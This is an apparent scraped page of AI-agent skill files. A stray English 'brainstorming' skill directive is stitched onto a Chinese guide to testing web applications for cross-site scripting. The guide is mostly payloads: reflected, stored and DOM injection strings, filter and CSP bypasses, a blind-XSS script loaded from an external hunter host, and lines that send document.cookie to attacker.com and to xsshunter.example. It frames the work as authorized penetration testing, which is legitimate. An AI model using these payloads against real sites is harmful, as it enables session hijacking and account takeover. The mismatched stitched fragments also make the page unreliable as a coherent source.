brainstorming
brainstorming
You MUST use this before any creative work - creating features, building components, adding functionality, modifying behavior, or planning anything new, in software or out of it (a talk, a business, a renovation).
testing-for-xss-vulnerabilities通过向反射型、存储型和 DOM 型上下文注入 JavaScript 载荷,测试 Web 应用程序的跨站脚本(XSS)漏洞, 演示客户端代码执行、会话劫持和用户冒充。测试人员识别所有注入点和输出上下文,构造适合上下文的载荷, 并绕过净化和 CSP 保护。适用于 XSS 测试、跨站脚本评估、客户端注入测试或 JavaScript 注入漏洞测试等请求场景。
Independent GitHub snapshot · Automated classification · Original documentation governs
不适用场景:未获书面授权擅自测试应用程序、部署影响真实用户的持久化 XSS 载荷,或从生产环境中外泄真实用户会话令牌。
映射用户输入进入和被应用程序渲染的每个位置:
location.hash、location.search、document.referrer、window.name、postMessage 或 localStorage 读取并写入 DOM 的客户端 JavaScript<div>USER_INPUT</div><input value="USER_INPUT">var x = 'USER_INPUT';<a href="USER_INPUT"><div style="color: USER_INPUT">使用适合上下文的载荷测试反射注入点:
<script>alert(document.domain)</script>、<img src=x onerror=alert(1)>、<svg onload=alert(1)>" onfocus=alert(1) autofocus="、" onmouseover=alert(1) "、"><script>alert(1)</script>';alert(1)//、\';alert(1)//、</script><script>alert(1)</script>javascript:alert(1)、data:text/html,<script>alert(1)</script>--><script>alert(1)</script><!--<ScRiPt>alert(1)</sCrIpT><details open ontoggle=alert(1)><svg><animate onbegin=alert(1) attributeName=x><img src=x onerror=alert(1)>测试向其他用户渲染输入的持久化存储点:
<script>alert('XSS-PROFILE-001')</script>"><script src=https://yourxsshunter.xss.ht></script>)进行盲存储型 XSS 测试,适用于载荷在您无法直接访问的管理面板或内部工具中触发的情况分析客户端 JavaScript 中不安全的 DOM 操控:
document.location、document.URL、document.referrerlocation.hash、location.search、location.hrefwindow.name、postMessage 事件数据innerHTML、outerHTML、document.write()、document.writeln()eval()、setTimeout()、setInterval()、Function()element.setAttribute()、jQuery.html()、.append()、v-html(Vue)、dangerouslySetInnerHTML(React)dangerouslySetInnerHTML、Angular 模板注入({{constructor.constructor('alert(1)')()}})、Vue v-html 指令测试内容安全策略的有效性并演示真实世界影响:
unsafe-inline 允许内联脚本unsafe-eval 允许 eval() 和类似函数*.googleapis.com)可能托管可用于 CSP 绕过的 JSONP 端点base-uri 允许 <base> 标签注入,重定向相对脚本加载<script src="https://allowed-domain.com/jsonp?callback=alert(1)"></script><script>new Image().src="https://attacker.com/steal?c="+document.cookie</script>| 术语 | 定义 |
|---|---|
| 反射型 XSS | 非持久化 XSS,注入的载荷被包含在对同一请求的服务器响应中,需要受害者点击精心构造的 URL |
| 存储型 XSS | 持久化 XSS,载荷被保存在服务器上,并服务给查看受影响页面的其他用户 |
| DOM 型 XSS | 完全在浏览器中发生的 XSS,当客户端 JavaScript 读取攻击者控制的数据并将其写入危险 DOM 汇点时触发 |
| 内容安全策略(CSP) | HTTP 响应标头,限制浏览器可以从哪些来源加载脚本、样式和其他资源,提供针对 XSS 的纵深防御 |
| 输出编码 | 将特殊字符转换为其 HTML 实体等效形式(如 < 转为 <),防止浏览器将用户输入解释为代码 |
| 汇点(Sink) | 若攻击者控制的数据未经净化就到达,可能导致代码执行或 HTML 渲染的 JavaScript 函数或 DOM 属性 |
背景:一个电子商务平台有客户支持系统,客户提交的工单由支持代理在内部管理面板中查看。工单提交表单接受 HTML 格式。
方法:
常见陷阱:
<script>alert(1)</script> 而遗漏通过事件处理器或非 HTML 上下文触发的 XSS## 发现:支持工单描述中的存储型 XSS
**ID**: XSS-002
**严重性**: 高危(CVSS 8.1)
**受影响 URL**: POST /api/tickets(提交),GET /admin/tickets/8847(触发)
**参数**: description(POST 请求体)
**XSS 类型**: 存储型(持久化)
**描述**:
支持工单描述字段在存储到数据库之前未对 HTML 输入进行净化。
当支持代理在管理面板查看工单时,未净化的 HTML 在代理浏览器中渲染,
允许在管理应用上下文中执行任意 JavaScript。
**概念验证**:
提交包含以下载荷的工单:
<img src=x onerror="fetch('https://xsshunter.example/callback?c='+document.cookie)">
当代理查看工单时载荷触发,将管理员会话 Cookie 外泄到 XSS Hunter 服务器。
**影响**:
攻击者可窃取支持代理和管理员的会话令牌,获取管理面板的访问权限,
该面板具有查看客户 PII、处理退款和修改订单的权限。
影响所有 23 名查看客户工单的支持代理。
**修复建议**:
1. 使用上下文感知库实施输出编码(OWASP Java Encoder,
客户端渲染使用 DOMPurify)
2. 部署内容安全策略标头:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
3. 在会话 Cookie 上设置 HttpOnly 标志,防止 JavaScript 访问
4. 使用白名单方式在服务端净化 HTML 输入(仅允许安全标签)